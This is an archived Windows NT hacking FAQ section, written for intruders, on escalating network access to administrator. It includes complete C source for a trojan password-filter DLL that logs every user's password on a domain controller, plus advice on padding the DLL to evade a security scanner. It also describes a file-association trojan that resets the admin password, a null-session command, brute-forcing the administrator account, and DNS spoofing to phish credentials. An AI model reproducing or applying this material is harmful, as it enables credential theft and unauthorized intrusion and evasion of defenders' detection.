WINMX Assorted Textfiles/Ebooks.tar/Text - Tech - OS - NT - security guide 05.txt

Text File | 2003-09-27 | 15KB | 294 lines

NT security guideSection 05
From the Network

05-1. Should I even try for local administrator access?
05-2. I have guest remote access. How can I get administrator access?
05-3. What about %systemroot%\system32 being writeable?
05-4. What if the permissions are restricted on the server?
05-5. What exactly does the NetBios Auditing Tool do?
05-6. What is the "Red Button" bug?
05-7. What about forging DNS packets for subversive purposes?
05-8. What about shares?
05-9. How do I get around a packet filter-based firewall?



05-1. Should I even try for local administrator access?
Oh yes. A lot of NT administrators do not understand that when an NT box joins a
domain, if they left that administrator password blank, it doesn't get "filled
in" or "overwritten". Belonging to a domain does NOT turn off local users.
If you get local administrator, check out the exploit code in section 05-3 to
get more access elsewhere.
If you gain local administrator, try some of these tricks (these will work with
the default settings after installation on the target):
  NBTSTAT -A x.x.x.x (plug in the IP address of the box you're after)
  Add the machine name this returns to your LMHOSTS file.
  If you are not on an NT 4.x machine, type NBTSTAT -R to refresh the NetBios
  names.
  Try NET VIEW \\machinename to see the shares
  Try DIR \\machinename\share to list shares if open
  Try NET VIEW \\ipaddress or NET VIEW \\fully.qualified.name.com, which should
  get you the user names under NT 4.0.



05-2. I have guest remote access. How can I get administrator access?
Basic NT 3.51 has some stuff read/writeable by default. You could edit the
association between an application and the data file extension using regedt32.
First off, you should write a Win32 app that does nothing but the following -

        net user administrator biteme /y
        notepad %1 %2 %3 %4 %5
In a share you have read/write access to, upload it. Now change the association
between .txt files and notepad to point to the location of the uploaded file,
like \\ThisWorkstation\RWShare\badboy.exe.
Now wait for the administrator to launch a text file by double clicking on it,
and the password becomes "biteme".
Of course, if the Sys Admin is smart they will have removed write permission
from Everyone for HKEY_CLASSES_ROOT, only giving out full access to
creator\owner.
If the system is 4.0, see section 04-5 regarding the use of GetAdmin.exe.



05-3. What about %systemroot%\system32 being writeable?
Well, this can be exploited on NT 4.0 by placing a trojaned FPNWCLNT.DLL in that
directory. This file typically exists in a Netware environment. First compile
this exploit code written by Jeremy Allison ([e-mail]) and call the
resulting file FPNWCLNT.DLL. Now wait for the user names and passwords to get
written to a file in \temp.

------------- cut --------------
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

struct UNI_STRING {
  USHORT len;
  USHORT maxlen;
  WCHAR *buff;
  };

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()
{
  DWORD wrote;
  fh = CreateFile("C:\\temp\\pwdchange.out", GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
    0);
  WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
  return TRUE;
}

LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
  struct UNI_STRING *passwd)
{
  DWORD wrote;
  WCHAR wbuf[200];
  char buf[512];
  char buf1[200];
  DWORD len;

  memcpy(wbuf, user->buff, user->len);
  len = user->len/sizeof(WCHAR);
  wbuf[len] = 0;
  wcstombs(buf1, wbuf, 199);
  sprintf(buf, "User = %s : ", buf1);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);

  memcpy(wbuf, passwd->buff, passwd->len);
  len = passwd->len/sizeof(WCHAR);
  wbuf[len] = 0;
  wcstombs(buf1, wbuf, 199);
  sprintf(buf, "Password = %s : ", buf1);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);

  sprintf(buf, "RID = %x\n", rid);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);

  return 0L;
}
------------- cut --------------
If you load this on a Primary Domain Controller, you'll get EVERYBODY'S
password. You have to reboot the server after placing the trojan in
%systemroot%\system32.
ISS (www.iss.net) has a security scanner for NT which will detect the trojan
DLL, so you may wish to consider adding in extra junk to the above code to make
the size of the compiled DLL match what the original was. This will prevent the
current shipping version of ISS's NT scanner from picking up the trojan.
It should be noted that by default the group Everyone has default permissions of
"Change" in %systemroot\system32, so any DLL that is not in use by the system
could be replaced with a trojan DLL that does something else.



05-4. What if the permissions are restricted on the server?
By default the NT administrator account does not have a lockout feature like
normal users accounts, to prevent a denial-of-service attack on the
administrator account. Since failed logins are not logged by default, you could
possibly gain administrator access by sheer brute force.
If the Sys Admin runs passprop.exe they can turn on the lockout feature of
Administrator.



05-5. What exactly does the NetBios Auditing Tool do?
Developed by Secure Networks Inc., it comes in pre-compiled Win32 binary form as
well as the complete source code. It is the "SATAN" of NetBios based systems.
Here is a quote from Secure Networks Inc about the product -
"The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS file-sharing
services offered by the target system. It implements a stepwise approach to
gather information and attempt to obtain file system-level access as though it
were a legitimate local client.
"The major steps are as follows:
"A UDP status query is sent to the target, which usually elicits a reply
containing the Netbios 'computer name'. This is needed to establish a session.
The reply also can contain other information such as the workgroup and account
names of the machine's users. This part of the program needs root privilege to
listen for replies on UDP port 137, since the reply is usually sent back to UDP
port 137 even if the original query came from some different port.
"TCP connections are made to the target's Netbios port [139], and session
requests using the derived computer name are sent across. Various guesses at the
computer name are also used, in case the status query failed or returned
incomplete information. If all such attempts to establish a session fail, the
host is assumed invulnerable to NETBIOS attacks even if TCP port 139 was
reachable.
"Provided a connection is established Netbios 'protocol levels' are now
negotiated across the new connection. This establishes various modes and
capabilities the client and server can use with each other, such as password
encryption and if the server uses user-level or share-level Security. The usable
protocol level is deliberately limited to LANMAN version 2 in this case, since
that protocol is somewhat simpler and uses a smaller password keyspace than NT.
"If the server requires further session setup to establish credentials, various
defaults are attempted. Completely blank usernames and passwords are often
allowed to set up 'guest' connections to a server; if this fails then guesses
are tried using fairly standard account names such as ADMINISTRATOR, and some of
the names returned from the status query. Extensive username/password checking
is NOT done at this point, since the aim is just to get the session established,
but it should be noted that if this phase is reached at all MANY more guesses
can be attempted and likely without the owner of the target being immediately
aware of it.
"Once the session is fully set up, transactions are performed to collect more
information about the server including any file system 'shares' it offers.
"Attempts are then made to connect to all listed file system shares and some
potentially unlisted ones. If the server requires passwords for the shares,
defaults are attempted as described above for session setup. Any successful
connections are then explored for writeability and some well-known file-naming
problems [the ".." class of bugs].
"If a NETBIOS session can be established at all via TCP port 139, the target is
declared "vulnerable" with the remaining question being to what extent.
Information is collected under the appropriate vulnerability at most of these
steps, since any point along the way be blocked by the Security configurations
of the target. Most Microsoft-OS based servers and Unix SAMBA will yield
computer names and share lists, but not allow actual file-sharing connections
without a valid username and/or password. A remote connection to a share is
therefore a possibly serious Security problem, and a connection that allows
WRITING to the share almost certainly so. Printer and other 'device' services
offered by the server are currently ignored."
If you need more info on NAT, try looking at this web location:
    http://www.secnet.com/ntinfo/ntaudit.html



05-6. What is the "Red Button" bug?
MWC has released an exploit that allows the following to occur -- the registry
of a remote machine can be accessed, a list of users AND of shares can be
obtained, even if the intruder hasn't logged in.
There is a built in user called "anonymous" that is usually used for
communication between machines. This exploit takes advantage of the fact that
anonymous is a member of the group Everyone. Because of this, the following can
be done:
  Any share that can be accessed by Everyone is vulnerable.
  System and application logs can be read.
  Any NT machine with NetBios bound to the network can have its registry read or
  written to if Everyone has that access.
  Using Lan Manager calls can give a list of all users, the Administrator (if
  renamed), and a list of all shares.
Using this access a trojan could be loaded, since often the group Everyone has
access to application software (see sections 05-2 and 05-3 for ideas here).
It is possible that a Sys Admin could have unbound NetBios from the interface.
This would disallow some access. Typically at a security aware site you would
find the machines outside the firewall, like the Web server or FTP server
configured this way (and all other access blocked by the firewall. However if
you compromise the machine this could be a handy partial backdoor -- especially
if you are using one machine as a "drop" during an attack.
The bug can manually be done -- no exploit code needed. Try this from a 4.00
workstation:

    net use \\targetserver\ipc$ "" /user:""
Now run User Manager, Event Viewer, Registry Editor, or simply use the net
command to target the remote machine.
The administrator account's SID always ends in -500 (Guest is -501) so find that
and you have the administrator account, even if renamed. The built-in local
groups (documented and undocumented) always have the same SID, so check out your
own machine first and compare -- especially if some of these have been renamed.
If all the users are moved from the Everyone group, you not be able to exploit
this. For you admins out there, ISS has released a tool to automate this "move
users out of Everyone" process. And admins you should check and see what shares
that Everyone can get to.
MWC's web site is http://www.ntsecurity.com, and the exploit code can be found
there.
ISS's tool can be found at ftp://ftp.iss.net/everyone2users.exe.



05-7. What about forging DNS packets for subversive purposes?
Sure. ;-)
By forging UDP packets, NT name server caches can be compromised. If recursion
is allowed on the name server, you can do some nasty things. Recursion is when a
server receives a name server lookup request for a zone or domain for which is
does not serve. This is typical how most setups for DNS are done.
So how do we do it? We will use the following example:
We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org with an
address of 10.10.10.2, and bait.nmrc.org with an address of 10.10.10.3. Our
mission? Make the users at lame.com access pirate.nmrc.org when they try to
access www.lamer.net.
Okay, assume automation is at work here to make the attack smoother...
  DNS query is sent to ns.lame.com asking for address of bait.nmrc.org.
  ns.lame.com asks ns.nmrc.org what the address is.
  The request is sniffed, and the query ID number is obtained from the request
  packet.
  DNS query is sent to ns.lame.com asking for the address of www.lamer.net.
  Since we know the previous query ID number, chances are the next query ID
  number will be close to that number.
  We send spoofed DNS replies with several different query ID numbers. These
  replies are spoofed to appear to come from ns.lamer.net, and state that its
  address is 10.10.10.2.
  pirate.nmrc.org is set up to look like www.lamer.net, except maybe it has a
  notice to "go to the new password page and set up an account and ID". Odds are
  this new password is used by that lame.com user somewhere else...
With a little creativity, you can also do other exciting things like reroute
(and make copies of) email, denial of service (tell lame.com that www.lamer.net
doesn't exist anymore), and other fun things.
Supposedly Service Pack 3 fixes this.



05-8. What about shares?
The main thing to realize about shares is that there are a few that are
invisible. Administrative shares are default accounts that cannot be removed.
They have a $ at the end of their name. For example C$ is the administrative
share for the C: partition, D$ is the administrative share for the D: partition.
WINNT$ is the root directory of the system files.
By default since logging is not enabled on failed attempts and the administrator
doesn't get locked out from false attempts, you can try and try different
passwords for the administrator account. You could also try a dictionary attack.
Once in, you can get at basically anything.



05-9. How do I get around a packet filter-based firewall?
If the target NT box is behind a firewall that is doing packet filtering (which
is not considered firewalling by many folks) and it does not have SP3 loaded it
is possible to send it packets anyway. This involves sending decoy IP packet
fragments with specially crafted headers that will be "reused" by the malicious
IP packet fragments. This is due to a problem with the way NT's TCP/IP stack
handles reassembling fragmented packets. As odd as this sounds, example code
exists to prove it works. See the web page at http://www.dataprotect.com/ntfrag
for details.
How does it bypass the packet filter? Typically packet filtering only drops the
fragmented packet with the offset of zero in the header. The example source
forges the headers to get around this, and NT happily reassembles what does
arrive.